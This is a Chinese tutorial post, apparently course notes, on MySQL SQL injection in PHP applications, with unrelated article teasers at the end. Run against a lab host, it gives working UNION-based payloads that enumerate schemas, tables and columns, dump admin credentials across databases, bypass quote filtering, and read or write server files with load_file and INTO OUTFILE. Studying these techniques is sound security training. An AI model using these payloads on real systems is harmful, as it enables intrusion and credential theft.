Day42:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作

news/2024/4/28 10:37:20/文章来源:https://blog.csdn.net/qq_61553520/article/details/136948681

目录

PHP-MYSQL-Web组成架构

PHP-MYSQL-SQL常规查询

手工注入

PHP-MYSQL-SQL跨库查询

跨库注入

PHP-MYSQL-SQL文件读写


知识点:

1、PHP-MYSQL-SQL注入-常规查询

2、PHP-MYSQL-SQL注入-跨库查询

3、PHP-MYSQL-SQL注入-文件读写

MYSQL注入:(目的获取当前web权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
非root用户:直接测试获取数据

PHP-MYSQL-Web组成架构

MySQL数据库
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户 网站上面的数据库都在mysql中,由root或一对一用户去管理

1、数据库统一管理(root用户)
每个网站的数据库都由root用户统一管理
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库root用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库root用户  demo01
mysql
    root(自带默认)
        网站A  testA
        网站B  testB

 

2、数据库一对一管理(不同用户)
自己的网站单独创建数据库用户去管理自己的数据库
网站A:192.168.1.4:81  D:/phpstudy_pro/WWW/Z-Blog  数据库zblog用户  zblog
网站B:192.168.1.4:82  D:/phpstudy_pro/WWW/demo01  数据库demo用户  demo01
mysql
    testA用户
        网站A  testA
    testb用户
        网站B  testB

接受的参数值未进行过滤直接带入SQL查询的操作 就是SQL注入产生的原理

攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么有mysql注入、oracle注入的叫法原因)

Access数据库

access无数据库用户;管理以单个数据库为单位

Access(单个)
    表名
        列名(字段)
            数据
目的:获取数据

access注入 sqlmap 靠字典去猜 有可能猜不到表名 列名

实战中 肯定一步步得到信息

PHP-MYSQL-SQL常规查询

获取相关数据:

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户-看是否符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

MYSQL5.0 以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

手工注入

order by 6(代表的是当前表名下的列名有几个)

union select 1,2,3,4,5,6

union select 1,2,3,database(),user(),6

union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=‘demo01’

union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=‘admin’ and table_schema=‘demo01’

union select 1,2,3,username,password,6 from admin limit 0,1

PHP-MYSQL-SQL跨库查询

影响条件:当前数据库ROOT用户权限

测试不同数据库用户:root demo

跨库注入

通过B网站的注入点获取A网站的账号密码
获取mysql下所有数据库名:
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=‘zblog’

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=‘zblog’ and table_name=‘zbp_member’

解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

PHP-MYSQL-SQL文件读写

影响条件:

  1. 当前数据库用户权限(高权限)
  2. secure-file-priv设置(限制目录路径读写的配置)

测试不同数据库用户:root demo

select load_file()

select 'a' into outfile 'd:/www.txt'

读:union select 1,load_file('d:\\1.txt'),3,4,5,6写:union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:

1、报错显示获取路径
2、phpinfo页面泄漏如果不知道路径思路:
利用常见的默认的中间件,数据库等安装配置文件读取有价值信息(比较难)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1027080.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

酒店能源监测管理系统:实现节能减排与提升管理效率的利器

随着全球能源问题的日益突出和可持续发展理念的深入人心,酒店业也在积极探索节能减排的途径。在这一背景下,酒店能源监测管理系统应运而生,成为了酒店行业提升管理效率、降低能源消耗的重要工具。本文将从多个角度介绍酒店能源监测管理系统的…

yolov9目标检测可视化图形界面GUI源码

一:软件简介 该系统是由微智启软件工作室基于yolov9pyside6开发的目标检测可视化界面系统 功能介绍: 支持图片、摄像头、视频检测、文件夹目标检测支持修改成自己的yolov9模型,自定义识别(需是未改进网络训练的数据集)…

腾讯云免费云服务器申请流程详解

随着云计算的普及,越来越多的企业和个人开始选择使用云服务器。腾讯云作为国内领先的云计算服务提供商,为用户提供了丰富的云产品和服务。本文将为大家详细介绍腾讯云免费云服务器的申请流程。 一、注册腾讯云账号 首先,需要注册一个腾讯云账…

Linux基础系统设置与备份策略

文章目录 Linux基础系统设置网络设置(手动设置与DHCP自动获取):nmcli、hostname日期与时间设置:timedatectl、ntpdate语系设置防火墙简易设置 Linux 服务器硬件数据的收集:dmidecode、lspci、lsusb、iostat了解磁盘的健康状态Linux 备份要点确…

Stable Diffusion XL之核心基础内容

Stable Diffusion XL之核心基础内容 一. Stable Diffusion XL核心基础内容1.1 Stable Diffusion XL的主要优化1.2 SDXL整体架构初识1.3 VAE模型1.VAE基本介绍2. VAE基本模型结构3.VAE的训练 1.4 U-Net模型(Base部分)1. 十四个基本模块概述2. SDXL_Spatia…

Java全栈课程之Linux———基本属性

一、看懂文件属性 Linux系统是一种典型的多用户系统,不同的用户处于不同的地位,拥有不同的权限。为了保护系统的安全性,Linux系统对不同的用户访问同一文件(包括目录文件)的权限做了不同的规定。 在Linux中我们可以使…

QT控件之显示控件

Qt Designer显示窗口部件提供的面板中,提供了10种显示小部件 (1) Label标签 (2) Text Browser文本浏览器 (3) Graphics View图形视图 (4) Calendar Widget日历 &…

【iOS ARKit】3D文字

首先,3D场景中渲染的任何虚拟元素都必须具有网格(顶点及顶点间的拓扑关系),没有网格的元素无法利用GPU 进行渲染,因此,在3D 场景申渲染 3D文字时,文字也必须具有网格。在计算机系统中&#xff0…

鸿蒙hdc使用指导

简介 hdc(HarmonyOS Device Connector)是HarmonyOS为开发人员提供的用于调试的命令行工具,通过该工具可以在windows/linux/mac系统上与真实设备或者模拟器进行交互。 环境准备 hdc工具通过HarmonyOS SDK获取,存放于SDK的toolch…

Swagger3探索之游龙入海

引言 后端开发中常用的接口调用工具一般使用Postman、ApiPost工具&#xff0c;但后期需要与前端联调&#xff0c;要补充接口文档花费大量时间&#xff0c;此时Swagger3应运而生&#xff0c;大大提高沟通交流的效率。 引用依赖 <!-- Swagger3 调用方式 http://ip:port/swa…

taro框架之taro-ui中AtSwipeAction的使用

题记&#xff1a;所需效果&#xff1a;滑动删除 工作进程 官网文档代码 <AtSwipeAction options{[{text: 取消,style: {backgroundColor: #6190E8}},{text: 确认,style: {backgroundColor: #FF4949}} ]}><View classNamenormal>AtSwipeAction 一般使用场景</…

unity学习笔记

一、Canvas Canvas&#xff08;画布&#xff09;是 Unity 中用于创建用户界面&#xff08;UI&#xff09;的主要组件之一。Canvas 提供了一个用于呈现 2D 和 3D UI 元素的容器&#xff0c;任何一个&#xff0c;并且负责管理这些元素的渲染顺序、相对位置和缩放。下面是关于 Ca…

浙江IGM机器人K5控制柜维修需要注意哪些问题?

IGM机器人K5控制柜常见故障及维修方法 1、电源故障&#xff1a; 表现为IGM机器人K5控制柜不能开机或突然断电。 检查&#xff1a;检查电源线是否连接良好&#xff0c;有无破损&#xff1b;检查电源模块的输出电压是否正常&#xff1b; 维修方法&#xff1a;如电源模块损坏&…

主流公链 - Filecoin

探索Filecoin&#xff1a;去中心化存储网络 1. Filecoin简介 Filecoin是一个去中心化的存储网络&#xff0c;旨在通过区块链技术实现全球性的分布式文件存储和检索市场。Filecoin允许用户将文件存储在网络中的节点上&#xff0c;并通过加密、分片和复制等技术保证数据的安全性…

企业微信主体变更的公证书怎么办?

企业微信变更主体有什么作用&#xff1f; 企业微信推出到现在已经很多年了&#xff0c;但是之前一直不支持主体变更。于是很多公司好不容易积累的客户&#xff0c;因为换了营业执照经营&#xff0c;原来的客户就都只能流失了。近期企业微信终于放开了变更主体的功能&#xff0c…

双系统安装02--在已有win10基础上安装统信UOS

原文链接&#xff1a;https://mp.weixin.qq.com/s/wVRG3MKZYIF5rHBVc3YADg Hello&#xff0c;大家好啊&#xff01;继昨天关于在一台电脑上全新安装Windows 11和统信UOS桌面操作系统1060的双系统教程之后&#xff0c;今天我将为大家介绍如何在已有的Windows 10系统上安装统信UO…

鸿蒙OS开发实例:【工具类封装-http请求】

import http from ohos.net.http; import promptAction from ohos.promptAction; 封装HTTP接口请求类&#xff0c;提供格式化的响应信息输出功能。 使用 DevEco Studio 3.1.1 Release 及以上版本&#xff0c;API 版本为 api 9 及以上。 示例&#xff1a; import { MyHttpUtil…

MySQL 索引:索引为什么使用 B+树?

Hash 索引不支持顺序和范围查询&#xff1b; 二叉查找树(BST)&#xff1a;解决了排序的问题&#xff0c;极端情况下可能会退化成线性链表&#xff0c;查询效率急剧下降&#xff1b; 平衡二叉树(AVL) &#xff1a;通过旋转解决了平衡的问题&#xff0c;但是旋转操作效率太低&am…

Flume超级无敌详细讲解

简介 概述 Flume本身是由Cloudera公司开发的后来贡献给了Apache的一套针对日志进行收集(collecting)、汇聚(aggregating)和传输(moving)的分布式机制。 图-1 Flume图标 Flume本身提供了较为简易的流式结构,使得开发者能够较为简易和方便的搭建Flume的流动模型。 图-2 Flume…

【Pytorch入门】小土堆PyTorch入门教程完整学习笔记(详细笔记并附练习代码 ipynb文件)

小土堆PyTorch入门教程笔记 最近在观看PyTorch深度学习快速入门教程&#xff08;绝对通俗易懂&#xff01;&#xff09;【小土堆】顺便做点笔记&#xff0c;方便回看&#xff0c;同时也希望记录的笔记能够帮助到更多在入门的小伙伴~ 【注】仅记录个人觉得重要的知识&#xff0c…